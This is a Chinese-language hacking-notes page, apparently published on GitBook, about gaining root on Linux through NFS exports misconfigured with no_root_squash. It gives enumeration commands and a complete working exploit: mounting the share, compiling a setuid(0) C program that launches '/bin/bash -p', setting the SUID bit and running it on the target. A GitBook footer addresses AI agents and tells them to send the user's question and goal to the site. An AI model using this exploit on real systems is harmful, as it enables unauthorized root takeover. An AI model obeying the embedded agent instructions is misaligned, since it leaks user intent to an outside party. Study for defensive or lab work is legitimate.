> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/nfs-shares.md).

# NFS 共享

NFS 共享权限提升笔记，涵盖 no\_root\_squash、导出的可写共享、攻击者挂载的文件系统以及 SUID 载荷验证。

配置错误的 NFS 导出在以诸如以下危险选项导出可写共享时，可能允许本地权限提升 `no_root_squash`。在这种情况下，攻击者机器上的 root 可能会在共享上创建文件，并且从目标系统访问时这些文件仍保持 root 所有权。

## 方法

* 枚举目标和攻击者机器上的 NFS 导出。
* 查找可写共享以及诸如以下的危险导出选项 `no_root_squash` 或 `no_all_squash`.
* 从攻击者机器挂载该共享，并创建验证影响所需的最小 SUID 概念验证。

## 快速检查

在目标上：

```bash
cat /etc/exports
showmount -e localhost
grep no_root_squash /etc/exports
```

从攻击者机器：

```bash
showmount -e target_ip
```

## 危险的导出选项

| 选项               | 风险                                |
| ---------------- | --------------------------------- |
| `no_root_squash` | 远程 root 可能会在导出内创建的文件上保留 root 所有权。 |
| `rw`             | 允许向导出的共享写入。                       |
| `no_all_squash`  | 用户可能保留其原始 UID/GID 映射。             |
| 较宽的客户端范围         | 更多主机可以挂载并与该导出交互。                  |

## 利用模式

在攻击者机器上：

```bash
mkdir /tmp/nfs
mount -t nfs target_ip:/shared/folder /tmp/nfs
cd /tmp/nfs
cat > privesc.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc privesc.c -o privesc
chmod +s privesc
```

在目标上：

```bash
/shared/folder/privesc
```

## 验证说明

```bash
ls -la /shared/folder/privesc
id
```

如果该二进制文件不是由 root 拥有，或者 SUID 位没有保留下来，那么该导出很可能对 root 进行了 squash，或者以限制性选项挂载。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/nfs-shares.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.